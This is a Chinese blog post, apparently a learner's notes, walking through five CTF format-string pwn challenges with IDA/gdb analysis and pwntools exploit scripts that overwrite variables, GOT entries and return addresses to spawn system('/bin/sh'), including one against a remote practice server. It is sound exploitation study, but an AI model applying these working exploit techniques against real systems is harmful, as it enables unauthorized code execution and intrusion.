pwn-格式化字符串的刷题记录(未完待续)

一.fmtstr1

1.先checksec一下

94ee997b44d442f49cb9e36f84e42dcb.png

发现canary和RELRO部分开

2.IDA分析

9181bd185658456eb901f536b45e5861.png

第一行就是表示放置canary

大致流程就是:初始化buf的值为0,再读入buf,printf又打印buf。最后再以整数的形式打印出x的值。如果x=4,就执行system("/bin/sh")。

解题的点就在于printf(buf),我们填入buf的值,为%s,%p...等这些。再次执行这个命令,就能完成我们想要的效果。

3.确定思路

要让x的值为4,那就可以利用%n来帮我们实现。就得知道x的地址和参数的位置,x的位置直接去IDA上看,参数的位置需在gdb上调试。刚好x的地址就是四字节,不需要我们再压入数据进去。

①x的地址

400e4df1688e4423b6db6de4c8140202.png

0x0804A02C

②参数的位置

断点在read函数前面,输入AAAAAAAA,n到printf函数处,查看stack

b7886da8cf084768a7d5d8f78034a3d4.png

 printf会从高地址找参数,我们从d060往高地址数,数到 read 进去的 'AAAAAAAA\n' 是12个字节,减一,所以偏移量为11。

4.exp.py

from pwn import*

io=process('./fmtstr1')

x_addr=0x0804A02C 

payload=p32(x_addr)+b'%11$n'
io.sendline(payload)
io.interactive()

此处需着重理解payload中的x_addr,明白它的两个作用。

二.goodluck

1.

e2df6db4b12b4e7a9530d7127bfb572d.png

 2.

360e4d3e175a4ab1b56fa5353fd61674.png

 fp = fopen("flag.txt", "r"):表示把这个文件读入内存

for ( j = 0; j <= 21; ++j )
  {
    v4 = format[j];
    if ( !v4 || v10[j] != v4 )

注重理解这段代码,给了我们22次重新输入format的次数,依次给v4赋值 。if ( !v4 || v10[j] != v4 ),先是判断v4变量是否设置。如果设置了v4,返回为真,!后,为假。跳过,才去执行v10[j] != v4 。v10不等于v4,也就是不等于flag,这里我们不可能知道flag,一定会为真。||运算符,只要有一个结果为真,那么就成立,进入{ }里的代码执行。

v10为flag.txt的值,scanf输入的是format这个缓冲区的值。

简而言之,用flag才能输入flag,但我们哪知道flag。

注:||运算符:A||B
当A成立的时候,B就被跳过不再执行,运算结果为真;只有当A不成立时才会去执行B,B成立时运算结果为真。若A和B都不成立,结果为假。

在最后的if循环中,校验不成功会有printf这行命令,刚好就是我们的格式化字符串漏洞。

3.exp.py

确定偏移量,此题是x64,传参有所改变。(不展开说了)

24956cb9c2114c8eb8c3f31302fcc8af.png

可以看到0x602cb0明显不是栈上的地址,已经被传入寄存器中了。

从0x602cb0开始数,再加上六个寄存器,就为10,那就减一为9。

此题不需要exp.py,直接./goodluck开始运行,输入 %9$s进去获得flag。

三.2016-CCTF-pwn3

1.checksec

32位

2.源码分析

89efef76e293404f8910578baade3f00.png

 点开各命令看看

04dea7bc66524f92b2b5a64b62b22e68.png

 看见我们输入的src,程序对它进行了ASCII+1的处理。然后复制去到dest。

这里可能会疑惑,传的字符串,怎么还能ASCII+1处理。

解释:我们写入的值,并不是原模原样传入进去,而是会转换。

例子:写入‘AAAA’进去,识别到的是对应的ASCII值‘65 65 65 65’,再转换为十六进制,变成0x41414141,也就是我前面写的那些博客,查看栈的情况时,一直常看见的0x41414141,就是这么来的。

263db4a4385f4ccca67d1a5dc40d9d25.png

 然后又对s1和‘sysbdmin’进行比对,比对失败就退出程序。这里我刚开始有点懵,哪来的s1,又返回看main函数,原来s1就是dest,所以就是对我们上面输入并经过处理的数据来比对。

 直接开整正确的用户名

tmp = 'sysbdmin'
name = ""
for i in tmp:
    name += chr(ord(i) - 1)
print(name)

ab7e4d7a05284cf8a31f18093d5c8b00.png

 即得:rxraclhm

继续看命令

6906a53f56d2443f8b9cd797d0313715.png

在下一条命令前会输出这个(记得这个,有助于我们后面的调试)

6b083d55d9354dbbbb2b8c8baf41ccff.png

 结合main函数来看,输入get,put,dir会分别去执行对应的程序。

f679014abc494dfbbd23f413ce9605d1.png

 可以看到此处有printf,可利用格式化字符串漏洞。

看了半天的源代码,发现那些定义的变量名太混乱了,一会v2,一会dest,感觉非常扯,不符合常理(毕竟IDA反汇编的代码就是有点假)。

再来梳理一个这个程序到底在干什么。先是检查username,put:上传一个文件和它的内容。 get:通过文件名,得到文件的内容。dir:输出所有的文件名。

听着不太明白,我们直接去运行一下。

49216871a75f465aadd2fad09cb188f9.png

 可以看到get那行,确实存在字符串格式化漏洞。而且此处也知道了偏移量为7

3.确定思路

我们先通过put上传一个格式化字符串漏洞,获取puts_got的地址,然后通过LibcSearcher来获取libc的基地址,从而得到system_got的地址。

再通过格式化字符串漏洞劫持got表,把puts的got表地址换为system函数的地址。也就是说执行puts函数时,实则在执行system函数。

我们最后再利用dir这个功能,dir最后会执行puts(s),s表示文件名,也就是打印出所有上传的文件名。那我们就上传一个名称为'/bin/sh'的文件。执行puts(s)时,就是在执行system('/bin/sh')。

4.exp.py

rom pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'debug'
pwn3= ELF('./pwn')

#sh = remote('xxx', xxx)
sh = process("./pwn")

sh.recvuntil(b":")
sh.sendline(b"rxraclhm")

def get(name):
    sh.recvuntil(b"ftp>")
    sh.sendline(b'get')
    sh.recvuntil(b'enter the file name you want to get:')
    sh.sendline(name)
    


def put(name, content):
    sh.recvuntil(b"ftp>")
    sh.sendline(b'put')
    sh.recvuntil(b'please enter the name of the file you want to upload:')
    sh.sendline(name)
    sh.recvuntil(b'then, enter the content:')
    sh.sendline(content)


def show_dir():
    sh.recvuntil(b"ftp>")
    sh.sendline(b'dir')



# get the addr of puts
puts_got = pwn3.got['puts']
print('puts got : ',hex(puts_got))
put(b'1111', b'%8$s' + p32(puts_got))
get(b'1111')
puts_addr = u32(sh.recv(4))

# get addr of system
libc = LibcSearcher("puts", puts_addr)
system_offset = libc.dump('system')
puts_offset = libc.dump('puts')
system_addr = puts_addr - puts_offset + system_offset
print('system addr : ',hex(system_addr))

# modify puts@got, point to system_addr
payload = fmtstr_payload(7, {puts_got: system_addr})
put(b'/bin/sh;', payload)
sh.recvuntil(b'ftp>')
sh.sendline(b'get')
sh.recvuntil(b'enter the file name you want to get:')
#gdb.attach(sh)
sh.sendline(b'/bin/sh;')

# system('/bin/sh')
show_dir()
sh.interactive()

这题的exp.py和我之前写的前所未有,也是第一次接触def。大概讲一下,巩固我自己理解。

def put(name, content),

其中的name,content是变量名,下面的那些命令是这个自定义函数的组成部分,其中sh.sendline(name)    sh.sendline(content),就是对应上面的变量名。最终实操就是put('xxx','xxx')。

还有一些需要注意的点

put(b'1111', b'%8$s' + p32(puts_got))
get(b'1111')
puts_addr = u32(sh.recv(4))

上面得到的偏移量为7,那这里的8,是为了方便我们得到的数据,前四字节直接是我们想要的地址。

这是%8$p的结果

9a85e391ee8d4c6e9e2f78b5f9253aa0.png

 这是%7$p的结果

11097f9cc3f54ed8a772df248458f2e3.png

 可以观察到,%8的前四字节就是我们想要的数据,方便我们直接puts_addr = u32(sh.recv(4))。

 ②

 payload = fmtstr_payload(7, {puts_got: system_addr})

这是pwntools的一个函数fmtstr_payload,7为偏移量  puts_got:被覆盖的地址 ,sys_addr:覆盖的地址。(关于此函数更多的,可以自己去了解一下)

完成此函数构造后,还要理解怎么去使用此函数。就是得发送到printf函数处,通过格式字符串漏洞来完成got表的覆盖。此题巧妙的是,上传了一个文件名为/bin/sh,内容为payload=fmtstr_payload(7, {puts_got: system_addr})的文件。直接一箭双雕,又覆盖了地址,又传入/bin/sh,直接完成system('/bin/sh')。

这是借助pwntools工具完成的一个覆盖,那如果我们手动覆盖呢?我最近没时间研究了,暂且搁置,后续再弄明白。

四.wdb_2018_2nd_easyfmt

1.checksec

2.分析源代码

 putchar(10):输入ASCII为10的字符,也就是/n,表示换行。

3.确定思路

把printf的got表劫持为system函数,我们再读入/bin/sh进去,执行printf(buf)时,实则在执行system('/bin/sh')。

先确定好参数的偏移量

 从0xffffd050开始数,往下数七个到AAAAAAAA\n处,减一(不要问我为什么减一),偏移量就为6。

注:这里我差点翻车,直接从0xffffd054开始数,没注意到上面还有一个参数位,一定得注意0x0这个鬼东西。

为了方便我们接收数据,实则偏移量还是得写7。理由如下图所示。(就和上一题一个意思)

4.exp.py

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'

io= remote('node4.buuoj.cn',28877)

elf = ELF("./fmt3")
printf_got = elf.got["printf"]

io.recvuntil(b"Do you know repeater?")

payload1=b'%7$s'+p32(printf_got)

io.send(payload1)


io.recv(4)

printf_addr= u32(io.recv(4))

libc = LibcSearcher("printf", printf_addr)
system_offset = libc.dump('system')
printf_offset = libc.dump('printf')
system_addr = printf_addr - printf_offset + system_offset
print('system addr : ',hex(system_addr))

payload2= fmtstr_payload(6, {printf_got: system_addr})

io.send(payload2)

payload3=b'/bin/sh\x00'

io.send(payload3)
io.interactive()

 

 刚开始就一直报错,unpack requires a buffer of 4 bytes,一直说解包需要四字节缓冲区。搜了下,也没找到是啥。我就去对照别人的exp.py,发现有个人的,有一句io.recv(4),我加上去后,立马正常进行了。(具体什么机制,咱也不懂,存疑)

这题我远程打不通,加了sleep(1),pause()什么的,也打不通。

最后改了本地,又能打通。也许还是靶机的问题。

五.三个白帽 - pwnme_k0

1.checksec

 RELRO 全开,表明got表不可写,就不能像上一题劫持got表了。

2.源码分析

 输完用户名密码,注册完后。会让你再输入三个数字,分别实现三个功能。

 这里在功能1,发现了格式字符串漏洞。

 此处可以发现a9+4就是上面要我们输入的password

 

 发现了system('/bin/sh')

3.思路确定

把返回地址改写为system('/bin/sh')的地址,功能1的return()执行后,就直接over了。

 1.确定参数的偏移量

0x7fffffffde10到0x7fffffffde50距离为9,那么偏移量为8

2.确定rbp到返回地址的偏移量

这里展开说说,pwndbg的排序方式是从低地址到高地址,那么该图的第二个数据为上一个函数的rbp,第三个数据为返回地址。因为存储返回地址在内存中是随机化的,但其相对于 rbp 的地址并不会改变。所以我们知道了rbp到返回地址的偏移量,我们就能通过知道的rbp的值,减掉这个偏移量,就能得到返回地址的地址。

引申的思考:那求出返回地址参数的偏移量,直接%p打印出来,何必求那么多。但此方法不可行,printf寻找参数是向栈的高地址寻找,返回地址在低地址处,打印不出来地址。那继续思考,我们求返回地址和上一个返回地址的偏移量,也就是换了一个参照物,原理也一致,估计这个方法也可行。(有待验证)

0x7fffffffde08 - 0x7fffffffde40=0x38(此处需仔细想想,为什么是这样减,这里不是求相连返回地址和rbp,而是求上一个rbp和返回地址的偏移)

所以偏移量为0x38

3.确定rbp参数的偏移量

0x7fffffffde10到0x7fffffffde40的距离为7,减一,则偏移量为6。(此处也需仔细想想,我刚开始就卡在这里,因为有两个参数输入,导致我以为是从%p那里开始数,实则不是。这题我们输入的用户名和密码全在一个缓冲区中,printf输出时候也是直接打印缓冲区,所以这题参数的偏移量是全局的,并不是我理解的要分开看参数来确定。)

4.改写返回地址

返回地址0x400d74和system('/bin/sh')地址0x4008A6,两字节地址不同,所以我们改的时候用%hn写入。

借用下wiki上面的一段话。

4.exp.py

我这里又调试了一下,看看这些命令的具体实施。

 据上图可得,程序2修改后,再次整程序1,发现还可以继续格式化漏洞,说明它们传递的参数是一致的。那事情就好办了。

from pwn import *
context.log_level="debug"
context.arch="amd64"

sh=process("./pwnme_k0")
binary=ELF("pwnme_k0")
#gdb.attach(sh)

sh.recv()
sh.writeline("A"*8)
sh.recv()
sh.writeline("%6$p")
sh.recv()
sh.writeline("1")
sh.recvuntil("0x")
ret_addr = int(sh.recvline().strip(),16) - 0x38
success("ret_addr:"+hex(ret_addr))


sh.recv()
sh.writeline("2")
sh.recv()
sh.sendline(p64(ret_addr))
sh.recv()
#sh.writeline("%2214d%8$hn")
#0x4008aa-0x4008a6
sh.writeline("%2218d%8$hn")

sh.recv()
sh.writeline("1")
sh.recv()
sh.interactive()

①ret_addr = int(sh.recvline().strip(),16) - 0x38:这里的strip()表示,把首位末尾的空格去掉。

②这里我突然想明白一点:第一步先打印ebp的地址时,无论先输8个A还是%p,都不影响后面参数的偏移量,总之还是全局偏移量这个意思。

③writeline和sendline区别不同,如果要换回sendline,需在字符串前面加上b这个前缀。

④%2218d%8$hn,十进制2218转换为十六进制为8AA,就是system函数地址的低三位,hn两字节,直接改写数据为8AA。

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

wbxlzd

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值